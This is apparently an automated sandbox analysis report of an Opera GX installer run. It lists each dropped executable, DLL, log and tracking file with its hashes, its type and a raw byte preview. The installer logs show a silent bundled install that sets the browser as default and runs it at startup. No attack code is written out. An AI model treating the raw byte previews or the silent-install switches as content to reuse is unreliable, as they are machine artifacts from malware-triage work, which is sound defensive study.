                                                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(2S&lS=ulS=ulS=u'+>t`S=u'+8t.S=u..8tAS=u..9t.S=u..>tyS=u'+9tyS=u'+<teS=ulS<u.S=u..5t:S=u...umS=ulS.umS=u..?tmS=uRichlS=u........PE..L...4.if...............'..........................@.......................................@..................................R..d.......................).......&......................................@............................................text............................... ..`.rdata..............................@..@.data....A...`.......J..............@....rsrc................`..............@..@.reloc...&.......(...j..............@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\pref_default_overrides

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2
                                                                                                                                                                                                              Entropy (8bit):1.0
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3:H:H
                                                                                                                                                                                                              MD5:99914B932BD37A50B983C5E7C90AE93B
                                                                                                                                                                                                              SHA1:BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
                                                                                                                                                                                                              SHA-256:44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
                                                                                                                                                                                                              SHA-512:27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{}

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\server_tracking_data

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (904), with no line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):904
                                                                                                                                                                                                              Entropy (8bit):5.556535764324661
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:dXYsbm0sNQsB/pUjFo32pfNH9rX2WA4jA3WCjs:dXYsKlJpURbHA4kZjs
                                                                                                                                                                                                              MD5:A47077F6E2A8D8094A239B221ADC29D0
                                                                                                                                                                                                              SHA1:F6A6B2E5CFE118036C15F9C2E42CDB0AD241547C
                                                                                                                                                                                                              SHA-256:B21C2F72C528FFF640BB1131A26D85A00EF85423C99ECD49576F56906CB97B88
                                                                                                                                                                                                              SHA-512:BF37CEC7EEC703DE614E238716D8B3BC3BD698959E3FFF3C4F6BE998DABA3C76F20A505A80E4E6B23BFE662BE03058977A6074498A9431A5162212413AA05250
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MzM3YmQyMjk0NzZiNWY1YjBkNGY0OTgwMDk2ZjUyOGEyNmI5ZmFlN2UxNTJiNTZkYWZhZDVhYjk3NWFjMjMwOTp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOnsibmFtZSI6Im9wZXJhX2d4In0sInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3Mjg4MDQ1NzIuMzIwMyIsInVzZXJhZ2VudCI6Iklubm9Eb3dubG9hZFBsdWdpbi8xLjUiLCJ1dG0iOnsiY2FtcGFpZ24iOiJQV05fVVNfUEIzX0REXzM2NjEiLCJjb250ZW50IjoiMzY2MV8yOTEwIiwiaWQiOiIyYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSIsIm1lZGl1bSI6InBhIiwic291cmNlIjoiUFdOZ2FtZXMifSwidXVpZCI6ImZkM2VmZWRjLWI4MTEtNDEwOC1hMjQwLTk3ZjJkYjRkMGVjZSJ9

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6820248
                                                                                                                                                                                                              Entropy (8bit):7.170239485247539
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:T+hx586666666666666666666666666666666x666666666666666fwwwwwwwwwr:+Z0AJ4tljtmA5u19ljeuaFkjs2CRDw8m
                                                                                                                                                                                                              MD5:F3FB308A1192B6F23B9798274A7BBD3D
                                                                                                                                                                                                              SHA1:594D0B878169DE95F5C29766E24FB905B05AFD48
                                                                                                                                                                                                              SHA-256:9C1DA80EFD2E6ED2A89BBF18DA614A85F7D6DB55F100FE3A35E9C939FFB29EEA
                                                                                                                                                                                                              SHA-512:96E712BB441489D1B95B771914E9792C35B39E4296F0CC9E37CADF4DD470572B0C575233C004CA4E16E525042F80AF600C0139DDEF0D258FD6CDDA92FDD54444
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....n.g.........."......b....c.....|.............@..........................@h.....r.h...@.................................p%..P........Xb...........g..)....h..6...".......................!......................P'...............................text....a.......b.................. ..`.rdata...............f..............@..@.data....5...P.......6..............@....tls.................T..............@....rsrc....Xb......Zb..V..............@..@.reloc...6....h..8....g.............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer\opera_installer_20241013043103230.log

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1859)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):39464
                                                                                                                                                                                                              Entropy (8bit):5.342997850909566
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:384:QAA4SCjU/LssssssDDDaaaagggYZpu8kkf025NQhvLkWmab8qwofllSspLQvEELs:QAA42zcPNG6
                                                                                                                                                                                                              MD5:80A36801A318FF6EA45ECBFCF24A74AF
                                                                                                                                                                                                              SHA1:C80373A329C825FCA9666415AB952F772E98D4F2
                                                                                                                                                                                                              SHA-256:84642D2EC423AE3DE4DA504AA95D50276209FBFB73AB0244EE30169A0122DCF7
                                                                                                                                                                                                              SHA-512:E36A2652324F2F64423AAA444973EB644BF95498615124C7E9C9F7F5331A13D39E2C28089E379F358082CDF6C13A3ED036D50C675F32B2C8639ECC40233DF51A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:[1013/043103.230:INFO:installer_main.cc(475)] Opera GX installer starting - version 114.0.5282.93 Stable.[1013/043103.230:INFO:installer_main.cc(478)] Command line: "C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe" --silent --allusers=0 --server-tracking-blob=Y2Q3MWViYTBlM2RlZjljMTNkMzRhMTU1MjZjOTIzY2NjNGJhNzVlZGFiMGIyODBlZTE0YmQzY2IyMTEwYjEzZjp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOiJvcGVyYV9neCIsInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJ0aW1lc3RhbXAiOiIxNzI4ODA0NTcyLjMyMDMiLCJ1c2VyYWdlbnQiOiJJbm5vRG93bmxvYWRQbHVnaW4vMS41IiwidXRtIjp7ImNhbXBhaWduIjoiUFdOX1VTX1BCM19ERF8zNjYxIiwiY29udGVudCI6IjM2NjFfMjkxMCIsImlkIjoiMmJhZmRlZjI2NDE4NDAyMTkxNTVlOTA5NGYyZWQzYTkiLCJtZWRpdW0iOiJwYSIsInNvdXJjZSI6IlBXTmdhbWVzIn0sInV1aWQiOiJmZDNlZmVkYy1iO

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer\opera_installer_20241013043105347.log

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1869)
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):5369
                                                                                                                                                                                                              Entropy (8bit):5.785481800917235
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:9bbF4esbmZgO6QMN8XyZZSLNRXYsKlJpURbHA4kZjWt3abLfMdbLbOpbKbGbibtm:UL0M0dosqJpggzMybW5M0XosqJpggF
                                                                                                                                                                                                              MD5:343AFC5426F4655C10C0C9ED7D28067F
                                                                                                                                                                                                              SHA1:DC664C833CB520DB568D08DA7D99F767A65DBD7A
                                                                                                                                                                                                              SHA-256:915C2EDFF160242567188FCF325BF759B938A9F666AD6CD21617EE330D7AD44B
                                                                                                                                                                                                              SHA-512:3CBFADC6FFA85C5985059CBF0BF4E9DCF6F3C95F23DABA8F1974E1F99A0B7B8343E42E4CDE8ED06861F74708CD855C68E4517894897F279FFD190C4DB71D087B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:[1013/043105.347:INFO:installer_main.cc(475)] Opera GX installer starting - version 114.0.5282.93 Stable.[1013/043105.347:INFO:installer_main.cc(478)] Command line: "C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera GX" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --initial-pid=7884 --package-dir-prefix="C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_20241013043104" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=MzM3YmQyMjk0NzZiNWY1YjBkNGY0OTgwMDk2ZjUyOGEyNmI5ZmFlN2UxNTJiNT

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer\opera_installer_20241013043355053.log

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1814)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):4419
                                                                                                                                                                                                              Entropy (8bit):5.692770081988525
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:+tbbF4eZtbA1Bw6QMN8XhZSLEXYsKlJpURbHA4kZjW6o9bLfMR9bP9bO99bY9bkD:jOM0XosqJpggo9zQoiEgQ
                                                                                                                                                                                                              MD5:88BE4F4F31F8D13F3158154FBF3E2916
                                                                                                                                                                                                              SHA1:81A02D3B861A992A47CFAF25200DE85FBD80751B
                                                                                                                                                                                                              SHA-256:49A84A81BA5588CC79798E8C25B09FD9D615C4CD914FB07EE5DBD7900CECC013
                                                                                                                                                                                                              SHA-512:E3D5524BB74AC7DF635A02CB3D73D526EE93D12949D35F96F53C0AAFC84C7A5E9C068C008F5637B06276560E24D4E261318CF63B6D036738ADC77C6209616BB4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:[1013/043355.053:INFO:installer_main.cc(475)] Opera GX installer starting - version 114.0.5282.93 Stable.[1013/043355.053:INFO:installer_main.cc(478)] Command line: "C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe" --backend --initial-pid=7884 --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera GX" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --package-dir="C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=MzM3YmQyMjk0NzZiNWY1YjBkNGY0OTgwMDk2ZjUyOGEyNmI5

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\26fb717e-73de-4435-9ed2-40b907fa02d9.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2
                                                                                                                                                                                                              Entropy (8bit):1.0
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3:H:H
                                                                                                                                                                                                              MD5:D751713988987E9331980363E24189CE
                                                                                                                                                                                                              SHA1:97D170E1550EEE4AFC0AF065B78CDA302A97674C
                                                                                                                                                                                                              SHA-256:4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
                                                                                                                                                                                                              SHA-512:B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:[]

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\6d64526b-8bf0-4199-99aa-ea5760d95974.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:PNG image data, 264 x 168, 8-bit/color RGBA, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):599921
                                                                                                                                                                                                              Entropy (8bit):7.98653694859866
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:vS/FPTQYx8vkhfYx8InN9sC9nOaGhn/NMMsLEhn/NMMsSIhittYM:vWL8uw8iNLTGhn/NMMsLEhn/NMMszUtZ
                                                                                                                                                                                                              MD5:1DFFE148ED4A7E9220C281181CE7EDF6
                                                                                                                                                                                                              SHA1:0B2F680B1256E0A7ACB8C8724FB45BFE955ED47D
                                                                                                                                                                                                              SHA-256:27C7E1E5106386F3971DFA7B70A18E74777795A6F9B692156B871FE68A2A99D5
                                                                                                                                                                                                              SHA-512:A728EF64ACB2F1932E923D569414EA8B643398E9D546FECA8507F291D3E93CB98887077AE0AAAB9726B55E45E3EDB8E71C70585E9DDBBEB3F8B2281B26E49713
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...............p.....IDATx...y.-Iv..vd...X........jI.y.I.$......ec....<y=l0......[..d.5X..Y~`.@..,.h................;"22O.9.].C...{..aG.b.....$.6..,[S.0VO..Pe[..Z...Icu...`....fW].m..!...7.......6.E[._....e..@..8...*n...}.3.-..}.|....y......_T........>......i'..}..Xa.....~...J.-.X{.. C.V..c.o.ap}/.=.v.XBy.|.. .L..a...l.\z..t|..=.<.....+.M...$.>#.).5..4..X[:./..B..C.7f..}.........A.T.....~.y..9.K.L.....1.......-.W..y..TF..H...n..me.&~.w[.@....>*....w...cV.z....d.#d?.6F...y..1.`.....n...g..........m.-..gl...n.oL...s...S..[.[............."/..$..q...........i.w.....n{.Mr...b.c.i.Ql.&...`...B.{.Ugl... Y.+.x..4.[.D3<.i..no.R. ..cB.*...h6..0l<.c@...}Y@2..G.}5w.i.2.:....+._z.0.....R.6..d..q..F......=.X.6.c....n.a.......{..g{sWJ...q'...r..$...........N.l..$Y....a5u...K......K..&....QX.&wLB.=.....U.g....P]c.4.,..#pm..9o{0.4N.%.m..c.#.e....t?.n6...&2...k.?.TQ.QC..c.}..>...t.M..c2.*..[......-..j.,:.....\G.m.C.O...}f96.C

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exe
                                                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):6820248
                                                                                                                                                                                                              Entropy (8bit):7.170239485247539
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:T+hx586666666666666666666666666666666x666666666666666fwwwwwwwwwr:+Z0AJ4tljtmA5u19ljeuaFkjs2CRDw8m
                                                                                                                                                                                                              MD5:F3FB308A1192B6F23B9798274A7BBD3D
                                                                                                                                                                                                              SHA1:594D0B878169DE95F5C29766E24FB905B05AFD48
                                                                                                                                                                                                              SHA-256:9C1DA80EFD2E6ED2A89BBF18DA614A85F7D6DB55F100FE3A35E9C939FFB29EEA
                                                                                                                                                                                                              SHA-512:96E712BB441489D1B95B771914E9792C35B39E4296F0CC9E37CADF4DD470572B0C575233C004CA4E16E525042F80AF600C0139DDEF0D258FD6CDDA92FDD54444
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....n.g.........."......b....c.....|.............@..........................@h.....r.h...@.................................p%..P........Xb...........g..)....h..6...".......................!......................P'...............................text....a.......b.................. ..`.rdata...............f..............@..@.data....5...P.......6..............@....tls.................T..............@....rsrc....Xb......Zb..V..............@..@.reloc...6....h..8....g.............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831026207884.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6287256
                                                                                                                                                                                                              Entropy (8bit):7.185712840482926
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:+6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwws:VZ0AJ4tljtmA5u19ljeuaFkjs2CRDw86
                                                                                                                                                                                                              MD5:C9B6A88F1A1406352509D2C5ECF647BE
                                                                                                                                                                                                              SHA1:DCDE8EBF49A5A61A69BF6F57F88898E583747A7C
                                                                                                                                                                                                              SHA-256:2911FC2B9EC8AF5AB91F80671CA1E3415CC9DDED73C24D561FDA9921F7672BA9
                                                                                                                                                                                                              SHA-512:5EA0C3003771E354B43339AA251AE2F8E6B82BECFA498DAECDFA445676BB179CE1738E052B5CE6769D92E3F3BA38D744DBF5344028E5281470B013AF936B9EA0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....n.g.........."!......6...).....P1(.......................................a.....G.`...@A........................:.>.m.....>...... A.0............._..)....`.....|o>......................n>.....8.6..............>.8...H.>.`....................text.....6.......6................. ..`.rdata...X....6..Z....6.............@..@.data........ ?..@....?.............@....rodata.......@......F?............. ..`.tls....].....@......H?.............@...CPADinfo0.....A......J?.............@...malloc_h......A......L?............. ..`.rsrc...0.... A......N?.............@..@.reloc........`......,^.............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831030207920.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):6287256
                                                                                                                                                                                                              Entropy (8bit):7.185712840482926
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:+6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwws:VZ0AJ4tljtmA5u19ljeuaFkjs2CRDw86
                                                                                                                                                                                                              MD5:C9B6A88F1A1406352509D2C5ECF647BE
                                                                                                                                                                                                              SHA1:DCDE8EBF49A5A61A69BF6F57F88898E583747A7C
                                                                                                                                                                                                              SHA-256:2911FC2B9EC8AF5AB91F80671CA1E3415CC9DDED73C24D561FDA9921F7672BA9
                                                                                                                                                                                                              SHA-512:5EA0C3003771E354B43339AA251AE2F8E6B82BECFA498DAECDFA445676BB179CE1738E052B5CE6769D92E3F3BA38D744DBF5344028E5281470B013AF936B9EA0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....n.g.........."!......6...).....P1(.......................................a.....G.`...@A........................:.>.m.....>...... A.0............._..)....`.....|o>......................n>.....8.6..............>.8...H.>.`....................text.....6.......6................. ..`.rdata...X....6..Z....6.............@..@.data........ ?..@....?.............@....rodata.......@......F?............. ..`.tls....].....@......H?.............@...CPADinfo0.....A......J?.............@...malloc_h......A......L?............. ..`.rsrc...0.... A......N?.............@..@.reloc........`......,^.............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831037218040.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exe
                                                                                                                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):6287256
                                                                                                                                                                                                              Entropy (8bit):7.185712840482926
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:+6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwws:VZ0AJ4tljtmA5u19ljeuaFkjs2CRDw86
                                                                                                                                                                                                              MD5:C9B6A88F1A1406352509D2C5ECF647BE
                                                                                                                                                                                                              SHA1:DCDE8EBF49A5A61A69BF6F57F88898E583747A7C
                                                                                                                                                                                                              SHA-256:2911FC2B9EC8AF5AB91F80671CA1E3415CC9DDED73C24D561FDA9921F7672BA9
                                                                                                                                                                                                              SHA-512:5EA0C3003771E354B43339AA251AE2F8E6B82BECFA498DAECDFA445676BB179CE1738E052B5CE6769D92E3F3BA38D744DBF5344028E5281470B013AF936B9EA0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....n.g.........."!......6...).....P1(.......................................a.....G.`...@A........................:.>.m.....>...... A.0............._..)....`.....|o>......................n>.....8.6..............>.8...H.>.`....................text.....6.......6................. ..`.rdata...X....6..Z....6.............@..@.data........ ?..@....?.............@....rodata.......@......F?............. ..`.tls....].....@......H?.............@...CPADinfo0.....A......J?.............@...malloc_h......A......L?............. ..`.rsrc...0.... A......N?.............@..@.reloc........`......,^.............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831047078088.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6287256
                                                                                                                                                                                                              Entropy (8bit):7.185712840482926
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:+6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwws:VZ0AJ4tljtmA5u19ljeuaFkjs2CRDw86
                                                                                                                                                                                                              MD5:C9B6A88F1A1406352509D2C5ECF647BE
                                                                                                                                                                                                              SHA1:DCDE8EBF49A5A61A69BF6F57F88898E583747A7C
                                                                                                                                                                                                              SHA-256:2911FC2B9EC8AF5AB91F80671CA1E3415CC9DDED73C24D561FDA9921F7672BA9
                                                                                                                                                                                                              SHA-512:5EA0C3003771E354B43339AA251AE2F8E6B82BECFA498DAECDFA445676BB179CE1738E052B5CE6769D92E3F3BA38D744DBF5344028E5281470B013AF936B9EA0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....n.g.........."!......6...).....P1(.......................................a.....G.`...@A........................:.>.m.....>...... A.0............._..)....`.....|o>......................n>.....8.6..............>.8...H.>.`....................text.....6.......6................. ..`.rdata...X....6..Z....6.............@..@.data........ ?..@....?.............@....rodata.......@......F?............. ..`.tls....].....@......H?.............@...CPADinfo0.....A......J?.............@...malloc_h......A......L?............. ..`.rsrc...0.... A......N?.............@..@.reloc........`......,^.............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831051178136.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                                                                                              Category:modified
                                                                                                                                                                                                              Size (bytes):6287256
                                                                                                                                                                                                              Entropy (8bit):7.185712840482926
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:+6666666666666666666666666666666x666666666666666fwwwwwwwwwwwwwws:VZ0AJ4tljtmA5u19ljeuaFkjs2CRDw86
                                                                                                                                                                                                              MD5:C9B6A88F1A1406352509D2C5ECF647BE
                                                                                                                                                                                                              SHA1:DCDE8EBF49A5A61A69BF6F57F88898E583747A7C
                                                                                                                                                                                                              SHA-256:2911FC2B9EC8AF5AB91F80671CA1E3415CC9DDED73C24D561FDA9921F7672BA9
                                                                                                                                                                                                              SHA-512:5EA0C3003771E354B43339AA251AE2F8E6B82BECFA498DAECDFA445676BB179CE1738E052B5CE6769D92E3F3BA38D744DBF5344028E5281470B013AF936B9EA0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....n.g.........."!......6...).....P1(.......................................a.....G.`...@A........................:.>.m.....>...... A.0............._..)....`.....|o>......................n>.....8.6..............>.8...H.>.`....................text.....6.......6................. ..`.rdata...X....6..Z....6.............@..@.data........ ?..@....?.............@....rodata.......@......F?............. ..`.tls....].....@......H?.............@...CPADinfo0.....A......J?.............@...malloc_h......A......L?............. ..`.rsrc...0.... A......N?.............@..@.reloc........`......,^.............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\Opera_installer_2410130833545532052.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7341976
                                                                                                                                                                                                              Entropy (8bit):6.955604619089415
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:Oyn6V2FoCslJwNyZYwl9gkSrn2vToxRDBxZer86u:nnp+aNsqks2CRDw8j
                                                                                                                                                                                                              MD5:1D605FD60554EF918BF2B165F3AFB819
